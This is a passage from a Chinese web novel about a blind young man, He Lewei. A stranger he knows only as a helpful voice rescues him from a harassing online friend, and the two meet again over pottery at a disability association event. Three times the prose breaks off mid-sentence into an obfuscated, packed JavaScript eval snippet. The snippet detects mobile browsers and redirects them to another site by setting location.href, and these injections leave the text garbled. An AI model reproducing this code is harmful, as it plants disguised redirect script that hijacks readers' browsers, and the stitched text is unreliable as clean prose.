虽然和印象中大相径庭的浮生叫人很是惊讶,但他并不认为自己就一定处于弱势。 他好歹也是个男人。 就在手指扣上门锁的时候,浮生再次开口:“我没想到你这么好看,以前光听声音就受不了。现在看见你,心都痒了,你怎么这么会勾人?” 他沉迷于自言自语,语气近乎癫狂。 何乐为有点害怕了,气音带着颤:“怎么办?” “别开门。”陈政年显然没有太多耐心,冷淡道:“帮你报警。” “什么?”何乐为没听清,两个人的音轨重叠在一起,他只知道,现在确实不能开门。 浮生这个人,有点奇怪。 何乐为好像懂了,又好像没懂。 这种事似乎只发生在新闻里,没想到自己有一天也会遭遇。 两个男人之间,也可以那样吗? “小为,你就开门吧。让我抱一下,摸摸你,算我求你了,好吗?” 何乐为尝试在网上寻找咖啡厅老板的联系方式,但盲人模式的操作提示音太大了,他怕惊动对方。 通话里的“好声音”又不声不响,何乐为叹了口气,低声喃喃:“浮生,我们不是好朋友吗?” “对啊,我们是好朋友,所以你出来,不要躲我。” “我以为你把我当朋友的。”何乐为继续说。 他感觉浮生有点等不及了,一直在外头踱来踱去的,甚至趴下来,手指穿进门缝试探性地摸上何乐为的脚踝,给人吓一跳。 “小为,我憋了两年,我好想告诉你我有多喜欢你,光听声音,我就喜欢得不行,你知道吗?” “听话,出来吧,好吗?”浮生语气软下来,嗓音像温和的泉水,试图蛊惑他诱惑他。 可惜浮生并不知道,他被何乐为耳机里沉默很久的“好声音”抢了风头,“帮你报警。” 陈政年不耐烦地重复,正打算退出视频通话,就被小瞎子叫住。 “别!”何乐为急道,“我、我再跟他聊聊,他可能也没有那么坏。” 一段经营了好久的友谊,要收拾得这么难堪,何乐为心里是难过的。 他想要给对方一次机会。 听筒那边陈政年彻底沉默了,连呼吸声都听不见。 浮生又在敲门,无论何乐为怎么努力尝试沟通都没有办法。 “我只把你当好朋友。” “我们多接触接触,友情是可以变质的。” “我真的不喜欢你。” “没关系,我可以等,总有一天你会接受我。” 浮生像所有普信男那样,无坚不摧。 小瞎子实在没办法了,无措地站着,门外乒乒乓乓,听得陈政年烦。 “怎么办啊?”何乐为第三次发出求助,满是惆怅。 回应他的是通话挂断的忙音,这下连“好声音”都懒得搭理他了。 “师傅,快点。” “小伙子,天气热,车子跑不快。” 陈政年目光冰冷,没刻意藏住厌烦和阴霾,司机从倒后镜里跟他对视一眼,霎时脊背发凉,改口道:“我尽量,我尽量。” 刚开始听见“喜猫咖啡”的时候,以为是巧合,之后从视频通话里看见熟悉的餐厅布景,陈政年才确定他跟小瞎子在同一座城市。 这家咖啡厅离学校不远,老板就是校友,陈政年来过几次,参加所谓必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092591|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的社交活动。 “小学弟,好久不见!又来聚餐吗?”前台老板一眼就认出陈政年。 陈政年没有理会,径直走向洗手间。 老板挠挠头,嘀咕道:“没看见你同学过来啊。” 洗手间里那个矮小臃肿的中年男人果然还在,亲眼所见比镜头里要更油腻些。 男人听到动静瞥了陈政年一眼,小眼敛着光,视线上下浮动,显得鬼祟且不怀好意。 没想到陈政年居然站到他旁边,抬手敲敲门,直接无视男人:“傻子,是我,出来。” 男人一听便急了,意欲上手:“你谁啊?你想要干什么?” “咔嗒。”门锁立刻从里面打开,何乐为垂着脑袋,朝空中挥了挥手,难以置信问:“好声音?” “是我。”陈政年一把抓住他的胳膊,将人拽出来。 细得硌手,那胳膊像骨头外边只裹了一层薄薄的皮,陈政年一只掌就能握紧。 他把人带到身边,才发现小瞎子比想象中还要矮,小米粒那样,脸也只有一丁点大。 “喂,你们去哪?!你凭什么带他走!” 浮生拦住陈政年,挡在两人身前。 陈政年感觉到何乐为拉了下他的衣角,往前站了半步,“浮生,我走了,我们的事回去再说吧。” “不行。这人是你喊来的?小为,你这样做合适吗?”浮生伸手要把人拉回去,却眼睁睁看着何乐为被陈政年挡在身后。 “违背他人意愿,以言语等方式对他人实施性l骚扰,受害人有权请求行为人承担民事责任。” 陈政年字正腔圆,这时候音色听起来跟“X”一模一样,别说浮生,何乐为都听得一愣一愣的。 “性l骚扰?小为,你说说看,我对你做什么了?你难道要告我?” 哪怕眼睛看不见,何乐为也能感觉到场面越发不可收拾,他一个头两个大:“我不知道,我要回家了,以后再说吧。” “那我送你回去。”浮生不依不饶。 陈政年抓着何乐为的手,直接往外走,“不必。” 浮生终于没再阻拦,就是那骂声,走出卫生间还能听见。 “诶,你走慢一点,我看不见。”何乐为一路踉踉跄跄的,盲杖没甩几下,又被扯到另一个地方,很没安全感。 好在出去咖啡厅,陈政年立马松开手,“你家在哪?我叫车。” “不用了不用了,我家很近的,走回去就好。” 陈政年想问他就不怕那男的继续跟着,但最后没问,只说:“随便你。” 何乐为长呼一口气,终于缓过劲儿来,不过心里还憋着疑惑,这会儿迫不及待问:“你是怎么找到这里来的呀?” 陈政年答得敷衍:“学校在附近,来过几次。” “这么巧!”那他以后岂不是可以经常和“好声音”见面了! “我没想到你会来。”何乐为很惊喜,因为浮生所产生的消极情绪,在面对面听见陈政年说话的时候,统统消失得一干二净。 被惊讶和感动取代。 他搓搓手,再仰起头时,失焦的瞳孔感受到强烈的白日光,他忍不住笑了,“我叫何乐为,何乐而不为的何乐为,你叫什么名字啊?” 陈政年并不喜欢跟别人交换名字,交换名字意味着要维持一段相对长久的社交关系,这很浪费时间。 “嗯?”没听见回答的何乐为歪了下头,热风卷起他略微凌乱的发梢,那双无神的眼睛此刻好像也被染上温度,湿漉漉地望着陈政年。 “你叫什么名字啊?”他又问了一次。 陈政年垂眸注视他,涌起一股前所未有的、开口的冲动:“陈政年。” “何乐为,我叫陈政年。” 5. 吃甜 天色还早,秉持着不浪费每一次出门机会的原则,何乐为没有选择回家,而是导航了一家甜品店,说要请陈政年吃东西。 刚开始对方没答应,何乐为是把嘴皮子说破了,才把人留下来。 “你帮了我这么大的忙,不请你吃东西,我心里过意不去啊。” 他摸索着椅子坐下,听见服务生把菜单给了陈政年。 陈政年的声音依旧冷淡:“想多了,我也不是免费帮你。” 何乐为一惊,顿时苦恼地拧起眉毛,支吾道:“那、那你要多少啊?我的工资不太高。”话越说越小声。 甜品店的风扇噪音很大,但他还是捕捉到一声轻笑,接着听见陈政年回答:“有人帮你付了。” “谁呀?哪家好心人?”何乐为撑起下巴,一边吹风,一边好奇。 可惜陈政年不说话了,作主帮何乐为点了几道甜品,自己则要了一杯咖啡。 “刚才为什么不报警?”陈政年问。 说到这个,何乐为就蔫了,小咸菜似的歪起脑袋,软绵绵地回答:“做事留一线嘛,而且他之前对我挺好的。” 盲人学习要比普通人艰难得多,他们不仅要认字,还要摸物识物,一面学习独立生活的技巧,一面还得跟上义务教育知识。 所以大多数盲人的成绩并没有那么好,何乐为就是这些特殊人群里很普通的一个。 堪堪考上高中,每年期末成绩吊车尾,实在无缘大学,只能通过不断地看书去充实自己。 有些书太深奥,读不懂,他就上网发帖去问。 浮生就是在帖子里认识的。 他人很热情,只要何乐为有不懂的或者需要探讨的问题,他都会主动帮忙,两个人经常一聊就是一整宿。 今天之前,何乐为也是真心把他当成知己来看。 “唉,我都没想到他会有这种心思。”何乐为把嘴凑近碗边,用勺子往嘴里舀了一大口豆腐脑。 “喔,好冰!冻牙了。”他在嘴里含一会儿才咽进去。 淡粉的舌尖舔了舔唇,陈政年平静地挪开视线,抿了口咖啡。 很快,何乐为就拍拍肚皮说吃饱了。 难怪那么瘦,桌子上甜品还剩好几样。 “都吃掉。”陈政年用不容拒绝的语气说。 何乐为疑惑地拿勺子敲了敲碗:“啊?还有吗?我已经吃完了。” 他这才后知后觉所有东西都是点给自己的,“你不吃吗?说好请你吃东西的,你只喝一杯咖啡,那多不好意思。” “我不吃甜的。” “啊,那你怎么不早说,我可以请你吃别的嘛。” “不许浪费,都吃了。” 何乐为是真吃不下了,“怎么办呀!”他很无奈,又觉得心疼,这么热的天把食物打包回去,在路上估计就能坏掉。 “你真的不吃吗?” 他低着头,有点失落,“好几样我就只尝了几口,都是特意留给你的。” 再开口时带着自己都没察觉的可怜语气,劝道:“你就尝一口嘛,都很好吃的。” “……” 烦。 小瞎子不懂边界,不知道两个人同吃一碗饭、同喝一杯水的行为有多亲密。 何乐为还撅起嘴,委屈巴巴的:“说好请你吃饭的……” 陈政年认命低下头,默默挑开他吃过的勺子,重新拎一条干净的,舀起半勺绿豆甜汤,皱着眉头吃掉。 从前陈政年他爸在的时候,就喜欢吃剩饭。 那会儿陈政年还小,饭吃不完是常有的事。 陈远东看见,总要教育,说他浪费,说陈氏白手起家有多不容易,又说农民伯伯苦,说做饭的妈妈和阿姨也苦。 陈政年不爱听,捂着耳朵跑了。 陈远东叹叹气,把他的剩饭吃个干净。 当时陈政年只觉得他爸唠叨,后来陈远东出了意外,他妈顶着四方压力苦苦撑起整个集团,他才知道过日子难,赚钱更难。 那之后,他很少再剩饭了。 因为没有人会再惯他。 何乐为终于听见陈政年吃东西了,大概在喝甜汤,有液体流动的声音,他一下就乐开了小烟花。 那阳光明媚的小模样,简直让陈政年觉得他刚才的委屈是装的。 “好吃吗?” “甜。”陈政年很嫌弃,感觉自己把这辈子的甜食都吃完了,以后可以无糖生活。 偏偏何乐为不知道是真内疚还是幸灾乐祸,在旁边没完没了地叨叨:“哎呀,委屈你了,你真是个大好人。” 最后陈政年收了好人卡,还付了钱。 “不好意思啊,下次一定我请。”钱包忘带,手机还没电,何乐为尴尬地摸摸鼻头。 “不用。”陈政年怕自己撑死,胃到现在还胀着。 出了甜品店,何乐为总算要回家了,没想到陈政年还愿意喊车送他一程。下车后心情依旧愉快,丢了个网友,捡了个线下友,不亏! 到家把手机充上电,信息就一个接一个弹出来,其中99条都是浮生发的,剩下几条是市里残疾互助会大群里的。 “后天有一个活动,能来的都来呗。”会长说。 陆陆续续有会员问:“什么活动啊?” 会长回答:“就是玩玩游戏,一起做点零食手工什么的。” 很快下面就开始接龙:“要用耳朵的,我玩不了。” “要用腿的,我玩不了。” “要用眼睛的,我玩不了。” 会长直接发来一长串语言:“行了,别卖惨,在座的谁没有个缺陷?活动游戏很多,保证有你们能玩的。到场的还能送一份礼物昂。” 接着又是copy式接龙:“我报还不行吗?” “我报还不行吗?” 何乐为想了想,也接了一个。 他喜欢聊天,而且在这群人面前总是格外轻松。 不过后天要上班,还得跟店长请个假。 谁知道消息刚发出去,店长秒回了:“小为啊,有个事儿,我想跟你商量一下。” 对方态度严肃,何乐为眼皮忽然跳了两下,总感觉有什么不好的事要发生。 谁知道想什么来什么,下一秒店长就告诉他生意不景气,需要裁员。 “我知道你找一份工作不容易,但这边也是真没办法,将心比心嘛。明天财务那会给你结算工资,然后再给你多发一个月工资作为离职补偿,你考虑一下?” 何乐为有点懵,本来只想请个假,结果被辞退了,放谁身上都觉得荒谬。 “唉。”他冲了澡,躺在床上,这一天简直像坐过山车,心情起起落落的。 “我被炒鱿鱼了。”他给陈政年发消息,附加几个小狗哭泣的表情包。 社交账号是手机没电之前何乐为腆着脸要来的,毕竟他俩是还欠着顿饭的交情。 陈政年没有回他。 何乐为独自emo了一会儿,肚子里那点甜食撑得快,消化得也快,他捂着胃,自顾自给陈政年说:“好想喝可乐啊。” 陈政年还是没回。 他就站起来,从冰箱里掏出一瓶82年的肥宅快乐水,吨吨几口灌下去。 气泡咕噜咕噜在舌尖弹开,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092592|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真爽。” 不对、不对,是:“愁!” 他抱着可乐瓶子,给浮生发信息说以后不要再联系,同时接受了店长的补偿。 做完这些,心里头一下空落落的,不知道该做些什么。 手机跟长了眼似的,陈政年的消息这时候发过来了,只有简单的两个字:“节哀。” “……”真幽默,何乐为“哈哈”笑两声。 接着又收到对方的友情提醒:“糖分摄入量过高会死。” 何乐为愣住:“我已经喝了,怎么办?” “等死。”陈政年站在阳台吹风,面无表情地点击发送。 现在本应该是他的学习时间,但是喉咙太腻,咽口水还能感觉到甜味,烦得想杀人。 尤其是看见何乐为说想喝可乐,那股劲又涌上来,原本没打算理,实在没忍住敲出那几个字。 发出去才觉得自己无趣,哪里来的报复心,小学生都不这样记仇。 “别吧,我还没请你吃饭呢。”何乐为给他发语音。 这时候忽然扬起来一阵风,轻轻的,在夏夜里带着温热。小瞎子很会找时机,让风给他做了背景音。 连带着人的声音也温柔了,能听出来浅浅的笑意。 甜腻的滋味莫名缓解了许多,余下不浓不淡的回甘,陈政年放缓了呼吸。 “我要睡觉了,你也早点休息。”何乐为跟他告别。 陈政年没有再回复,不过今晚睡得比平时都要早。 第三天清晨,残联活动日,何乐为换了身自认为好看的衣服,元气满满出发。 最近出的门还真多,他边走边想。 活动地点定在市中心的图书馆,那边有一个很大的活动室,以往活动都是在那儿举行。 何乐为非常熟路,听着语音播报上了公交,恰好赶上上班上学高峰期,人有点多。 被挤了一路,到图书馆门口刚喘上口气,听见里头沸沸扬扬的说话声,立马活过来。 他喜欢热闹。 何乐为笑了笑。 “乐为来了。” 何乐为认出会长的声音,对方是听障人士,早几年攒够钱,给自己配备了人工耳蜗,还顺带报了普通话班。 现在能听能看,会跑会跳,可以说是互助会里最健全的残疾人。 他有礼貌地打招呼:“会长好,活动开始了吗?” 会长把他带进去,“开始了,你看想做点什么?我让志愿者带你。” 那边立刻走过来一个女生,说话轻声细语,听着很舒服。 “你好呀,我们这边有制作小饼干、植物拓印、折纸、泥陶制作等小活动,你看你想……” 志愿者话没说完呢,何乐为没有神彩的眼睛一下亮了:“有泥陶?” “对的,我们可以安排志愿者教你。” “好,就要这个!”何乐为早就在书里听过捏陶工艺,将未成形的泥块放在转盘上,用手指揉掐几下,陶具就能够被创造出来。 在得知杯子竟然能通过这样一种方式制作出来的时候,何乐为就念念不忘了。 志愿者喊人带他:“学长,过来一下,带这位小哥哥去捏陶。” “嗯。”那边有人远远地应了声。 何乐为几乎在瞬间认出来这把的声音。 低沉,冷淡,脚步越来越近,每一下都像踩在何乐为的心口上。 紧接着,他不出意外地、如愿以偿地再次听见那个人的声音:“何乐为?” 何乐为压下心口剧烈的紧张,咧开嘴,一双眼尾弯出很大的弧度:“好巧呀!陈大好人。” 6. 捏陶 两个人都挺意外的,没想到再次见面会来得那么快。 “你是志愿者吗?”何乐为问。 他本来就觉着陈政年嘴硬心软,屡次对他这个陌生人伸出援手,如今得知对方是志愿者,滤镜顿时更重了,厚厚地堆起百米高。 “嗯。”陈政年应了声,接着又说:“带你去捏陶。” 差点忘了,马上就能实现愿望,何乐为兴奋地附和:“好哦好哦!” 说完,迟迟没感受到陈政年的动作,他刚想问话,感觉盲杖被人碰了下。 何乐为立刻耸起肩膀,把盲杖拉开,“不要碰。” 陈政年凝眸,眉峰敛一下,“抱歉。” “啊,没有怪你。”何乐为知道自己应激了,顿时有些不好意思,“对我们来说,盲杖相当于眼睛。碰盲杖的话,会让我很没有安全感。” 陈政年了然,又一次道歉。 “你站在我前面,我拉着你的衣角或者袖子就好。”其实搭着导盲者的肩膀会更好,但是何乐为觉得对方应该会介意。 因为上次陈政年抓着他的手走出咖啡厅之后,立马就松开了。 何乐为被安排坐在很矮的椅子上,盲杖摆在手边,刚坐下就闻到一股清新的泥土味。 很淡,还怪上头。 他听见陈政年把一块什么东西放在他前面,结实的“啪”一声,转盘忽然丝滑地“咕噜咕噜”滚动起来,头顶有声音说:“把手放上去。” “啊?”这就开始了?何乐为愣了一下,放上去是放到哪里? 他觉得很多时候,陈政年都忘了他眼睛看不见。 何乐为只能凭着模糊的光影往前伸出手,空空的一片,什么也没摸到。 “往下。”陈政年指挥他。 “哦。”何乐为乖乖地把手臂下降一些。 突然,指尖触上温润的泥土,比想象中还要湿软,他只是戳了几下,泥块瞬间破开大口,指腹直接抵到转盘上。 陈政年蹙了蹙眉,让何乐为把手拿开。 “我第一次玩,我也不知道会这样。”何乐为表示很无辜。 陈政年没回答,而是拉来一张椅子坐在他身后,重新换了一团泥。 “我要抓你的手,介意吗?”声音来自的方向变成耳后,何乐为在淡淡泥土味的世界里,闻到了一股更淡更轻的薄荷香。 是陈政年身上的味道。 其实他上一次就闻见了。 上学的时候,盲校里有种薄荷。 “何乐为?”这是陈政年第二次喊他的名字。 何乐为歪了歪脑袋:“啊?” “别走神。” “啊,好哦,可以碰。” 接着手背就被人握住了,干燥的热度瞬间从对方掌心蔓延过来,陈政年的拇指压着他的拇指,一块儿摁到泥上。 何乐为能清楚地感受到陶泥在手中的变化,很神奇。 陶泥触感温润,在陶轮的旋转中逐渐成型,泥土好像活了过来,在操作者手下期待着自己的新生。 手工创作这种东西离盲人太远,他没想过有一天自己也有机会去创作一样东西。 “想做什么?”陈政年握着他的手,两人指缝间都是湿润的泥浆,互相交错,指根摩挲。 何乐为感觉哪里怪怪的,空调温度不够低,背上燥得慌。 “你又在走神。”陈政年平静地陈述。 “啊,做个杯子吧,我想做个杯子。” 陈政年没说话了,牵着何乐为慢慢给陶泥塑形,说实话何乐为也不清楚究竟做成怎么样,因为他一半的注意力都在两人纠缠的手上。 另一半……在耳后。 不难看出陈政年的家庭教育很好,又或者说他真的不习惯与人触碰,全程除了手,两个人没有其他接近的地方。 但每次呼吸,温热的气流都会似有似无地拂在何乐为耳廓,很痒,像羽毛悄悄刮搜全身,有点不自在。 何乐为再次耸了耸肩,陈政年低声问:“怎么了?” 几乎是刹那间,何乐为猛地激灵一下:“你别说话了,好痒啊。” 陈政年真不继续开口了,时间被良久的沉默拉得柔软而漫长,何乐为终于把注意力放回陶泥上。 软软的,稍微用点力刚捏出来的杯口就凹下去一块,陈政年又勾起他的手指去补救。 何乐为没多久就体会到乐趣,他开始热衷于脱离陈政年的操控去自由创作,有时候是悄悄使劲把陶泥压出一个个小坑,有时是用指甲勾出一道道月牙。 他看不见,并不知道自己的即兴发挥会添什么麻烦,他只是希望能多有一些参与感。 陈政年带着他捏了一会儿,眉头渐渐流露出不耐烦的神色,后面干脆直接撒手、站起身:“你自己来。” “我?我自己来吗?”何乐为感觉他好像生气了,语气比平时凶。 陈政年不说话。 陶泥就在何乐为手上滚得开了花,一朵破破烂烂的花。 “是我添麻烦了吗?”何乐为努力仰头问,陈政年还是不回答,他顿时冒出点小委屈,“你生气了。” 小瞎子面上没显,心里却实打实有些难受,滚轮还在转动着,咯吱咯吱,一下又一下。 好像磨在了心口,粗鲁地碾过去,压出许多沉闷又酸涩的汁水。 陈政年盯着他苍白的脸,说没有,何乐为不相信。 这时,隔壁一个正在做陶的小女孩歪着脖子凑过来,瞧几眼他们的陶,童言无忌:“好丑啊,没有我的好看。” 小女孩的母亲赶紧把人拉开,不停抱歉:“不好意思,不好意思,她被我惯坏了。” 陈政年没说什么,那个小女孩没有腿。 但话却往小瞎子心里去了,何乐为心脏堵得不上不下:“对不起,都怪我瞎捣乱。你别生气,我给你道歉。” 他没听见回答,但是身后的椅子又被拉开,有人坐下,冰凉的薄荷气味再次飘到他鼻尖来。 陈政年把泥块换掉,抓上他的手,一点点重新塑形。 “这是你的陶。”他听见陈政年说。 言外之意,你想怎么做都可以。 “不丑,不用道歉。” 何乐为愣了,好像有什么东西突然涌上喉咙,生生卡在那儿,咽不下也吐不出来。 几年的客服工作经历,几乎让道歉成为刻在骨子里本能,可从来没有人告诉他,你也可以不用道歉。 这很奇怪,也很新鲜。 何乐为最终木讷地回个“哦。” “可以了。”陈政年用线把陶泥杯完整割下来,“你要上色吗?” 何乐为不想再给他添麻烦,“不了吧,我也看不见。” “确定不上色?”陈政年又问了一次。 其实何乐为想上的,他希望自己的杯子独一无二,可以拥有五彩斑斓的颜色。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092593|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “写字吧,写字也好看的。”旁边那位小女孩的母亲提议说。 何乐为犹豫不决,最终还是摇摇头,“我不会写。” 他只会点盲文。 陈政年没有打招呼就走了,可能去烧陶了。 何乐为无所事事地坐在原地,然而过一会儿,熟悉的脚步声又回来。 陈政年递给他一支笔,何乐为歪着脑袋,不明所以。 对方并不解释,只是顺势又一次抓住他的手,用握笔的姿势。 何乐为能清晰地感受到笔杆与微干的陶泥接触时的颤动,一笔一划,缓慢而工整。 他在写字。 失明后,第一次写字。 他以为他忘了,原来他的肌肉还帮他记着,虽然何乐为没认出来是什么字,但横竖撇捺,他还记得。 从前是妈妈这样手把手教的他。 字写完了,何乐为问陈政年是什么,陈政年不告诉他,这回是真的拿起陶杯去烧。 何乐为悄悄问隔壁阿姨。 阿姨跟他说,那是“樂”,繁体的“乐”字,她跟他夸了一通陈政年,告诉他字写得特别漂亮。 何乐为笑了,鼻头却一下子发酸。 “樂”是何乐为的“乐”啊。 泪最终还是没掉,等陈政年回来的时间,有一串脚步声走过来,就停在他身边。 他赶紧把泪憋回去。 “那个,你好啊,我们是志愿者。”是一把年轻女孩的声音。 “啊,你们好。”何乐为仰起头,漂亮的眸子眨了眨。 其中一个志愿者低声问同伴:“真的看不见吗?” “我可以看到一点光影。”何乐为大方帮她解答。 女学生们互相对视几眼,都从对方眼中看见惋惜。 这么漂亮的眼睛……可惜了。 “你长得很好看。”季晓茜说,向他自我介绍,其他几个志愿者也跟着报上名字。 “谢谢,我叫何乐为,何乐而不为的何乐为。” 季晓茜笑了笑:“好名字。” “我刚才看见你跟陈政年一起做陶,你们好像很熟?” 何乐为特别实诚:“他之前帮过我几次,用be your eyes 软件。” 季晓茜笑了,软件还是她逼着陈政年下载的,“他很少跟人这么亲近。” 这就算亲近吗?何乐为抓抓脸。 那边陈政年回来了,看见她们立刻皱起眉:“围在这干什么?” “学长。”除了季晓茜,几个女生都有打招呼。 “急什么,我们跟小乐为聊天。”季晓茜说。 何乐为已经从对话中猜出他们是一群学生,于是说:“我可能比你们还大。” “啊?不会吧?你看起来好小,刚上高中的样子。” “我已经22岁了。” “哈哈哈哈季学姐,你要喊人家何哥。”女生们嘻嘻闹闹。 陈政年倒不惊讶,手挥一下,把季晓茜叫走。 见两人走远,女生们忍住不激动起来,“啊啊啊好般配啊,学长对学姐就是不一样,他看都不看我们一眼。” “我觉得季学姐很快就要得偿所愿了!” “咦?学姐不是说不喜欢学长吗?” “那是她嘴硬,这不是很明显吗?” 季晓茜喜欢陈政年? 何乐为眼皮猛然跳了一跳。 7. 乞丐 何乐为听得模模糊糊的,在盲校的时候也总有哪个男孩说喜欢哪个女孩,哪个女孩又向哪个男孩告白。 他当时不懂,还找了许多爱情小说来学习,最后断定,他可能是没办法谈恋爱了。 瞎子的世界由声音主宰,谁的声音好听,谁就更受欢迎。 很遗憾,他们都说何乐为的声音不成熟,永远像个十三四岁的稚气少年,清清脆脆的。 今天,何乐为甚至无意中得知自己长得也不成熟! 人生简直不要太悲催。 会场的另一头,季晓茜懒懒地靠在走廊栏杆上,等陈政年开口。 果然,陈政年半秒都没迟疑,直截问:“你想干什么?” “什么干什么?”季晓茜假装听不懂。 陈政年眸光黯了一半。 季晓茜立刻认怂,“放心,不是坏事。” “这学期最后一次任务,你还记得吧?” 志愿者协会准备拍摄一部关于残疾人都生活纪录片,陈政年当然记得,这个议题还是校领导直接牵头的。 “拍摄人选不是还没确定吗?” 季晓茜朝他挑了挑眉。 陈政年几乎是瞬间就明白了她的意思,一口回绝:“他不合适。” “为什么?他形象好,又不怯场,我第一眼就觉得没有人比他更合适了。而且你不是想尽快完成任务吗?”季晓茜有些意外。 期末时间紧,任务重,大家都想快点解决掉,好迎接期末考。 谁想到,第一个反对的竟然是陈政年:“他不行。” 季晓茜眯了眯眼,“那你给我一个理由。” “没有理由。”陈政年说。 可偏偏季晓茜就认定何乐为了,那男孩单纯,谈吐大方,他跨过了许多残疾人也许一生都无法跨越的心理障碍。 她能看见他瘦弱躯体底下的坚韧和顽强,往外源源不断勃发着生机,这与他们拍摄纪录片的初衷不谋而合。 “你没资格替他做决定,我会去问他,如果他答应了,你不能阻拦。”季晓茜以会长的身份下命令。 陈政年眉峰抬了抬,不知道在想些什么,指针转过一圈,大概是他也发现了自己的反常,最后扔下一句:“随便,跟我没关系。” 何乐为坐在主办方包下的茶餐厅里,猛吸一口奶茶,“我吗?可是我从来没有做过这种工作,没有经验。” 对面坐着季晓茜,“不需要你做什么,只是记录一下你的日常生活,像平时那样就好。” “对了,你有在工作吗?”如果有工作,协会也希望拍下来。 这一问精准戳中何乐为的伤心事,他实话道:“没有工作了,被开了。” 周围几个女生顿时一番脑补,再抬头,眼里都泛滥着母爱的光芒。 季晓茜雪中送炭:“如果你愿意,我们这边会努力给你争取最大额度的酬劳,就算申请不到,我也会亲自掏钱给你。” 何乐为一听,立马坐直身体,一双耳朵像小狗那样竖起来。 他确实非常需要工作,手上的存款太少,日常的花销却不小,所以他不能有过长的空窗期。 “你考虑清楚。”陈政年突然开口,听起来并不是那么赞成。 何乐为知道他俩刚才偷偷摸摸在外面说了很久话,还以为是一伙的,现在看来好像不是那样。 其中一个女生附和:“学长说的有道理,拍纪录片可能会涉及到一些比较隐私的东西。” 她说得委婉,但其实大家都清楚,对于残疾人而言,拍记录片,就等于把他们的伤疤掀开,展示在所有人面前。 然而季晓茜不觉得陈政年有那颗善解人意的良心,虽然不清楚理由,但肯定不会这么单纯。 “没关系,我可以。”何乐为真心觉得没有关系,能有工作已经让他很高兴了。 季晓茜看陈政年一眼,得意地挑眉,又转向何乐为:“好,感谢你的加入。我们加个联系方式,到时可能要到你家里去进行拍摄,介意吗?” 何乐为说不介意,让她们过来的时候提前通知,他好打扫打扫。 “你家人呢?需要征求他们的同意吗?”季晓茜说。 陈政年看到何乐为肉眼可见地怔住,很快又恢复了平时的模样,软软道:“他们不在,家里就我一个人。” 这其实不难猜。 会去使用“Be your eyes”的,通常都是没有依靠的孤家寡人。 大家当他父母在外务工,都有些忿忿不平,留下一个留守盲人无依无靠,简直太没良心! 有个泪点特低的女生甚至背过身去,小声抽泣,大家一阵手忙脚乱,又不敢去惊动何乐为,怕伤了人的心。 “不要哭啦,”但何乐为耳力非比寻常,他根据自己的判断面朝一个方向抬头,扬起唇:“我一个人过得很好。” 茶餐厅窗户被擦拭得透亮,不偏不倚地接收正午阳光。 光最终汇聚在眼底,何乐为眼里有一汪清澈干净的泉,没有聚焦点,神情又那么专注。 却听见女生们在下一秒不约而同笑开了,“她在这呢,你面前是学长。” “啊?”何乐为纯真的神情崩了一刹,摸摸鼻尖:“不好意思不好意思哈。” 季晓茜瞥过陈政年,对方目光很长久地停滞在何乐为身上,纹丝不动。 她就在心里偷着乐了,摸过小手的,果然就是不一样。 “哎呀,工作商量好了,饭我们也吃饱了,接下来就是各回各家、各找各妈。” 季晓茜指了指陈政年:“你,送小乐为回家。” 何乐为不知道她喊的谁,慌慌张张拒绝:“不用不用,我自己可以坐公交!” “那就让他送你到公交站。”季晓茜强硬说。 想着公交站离这里也不远,何乐为没再推脱,出门的时候才知道,被下命令的人是陈政年。 何乐为还是像上次那样走得磨蹭,才走了不到二十米忽然想起来:“啊!我的杯子!忘记拿了。” “还没烧好。”陈政年说。 “那烧好了我要去哪里拿?” 何乐为很牵挂他的杯子。 “下次工作的时候让季晓茜带过去。” 何乐为晃晃脑袋,忽然拍一下头:“对了,我还没有你的手机电话。” 社交软件是加了,但还是通话更方便一些。 小瞎子刚掏出手机,这时候却来电话了,对面自报是物业:“喂你好,请问是C栋301的业主吗?” “是我。” “你们家是不是漏水?201的电话打到我们这边来,说天花板在滴水。” “啊?漏水?我马上回去!” 家里很多家具都是木质的,而且有些年头了,被水一泡,不得全坏掉? 何乐为顿时心急起来,对陈政年说:“我得赶紧回去,家里被水淹了。” 陈政年说好,但走路的速度不变,小瞎子就算急,也走不了快。 可人急的时候,行动就会被打乱,这么一小段路,何乐为盲杖敲中好几样东西,甚至不小心打到路人的腿。 对方不耐地“啧”一声,看见是盲人又黑脸走远了。 何乐为很抱歉,连着对人说了好几句:“对不起。” “抓好。”手里突然被人塞了块布料,还没反应过来就被陈政年带着走了。 他手心揉了揉,摸出来这是片衣角。 两个人就这样一前一后走着,走到路口的时候,何乐为竖起耳朵听了一会儿,忽然拉住陈政年,“这里有个地下通道,走那儿不需要过马路。” 过马路很不方便,而且危险。 “嗯。”陈政年在四周打量一圈,的确看见地下通道的入口。 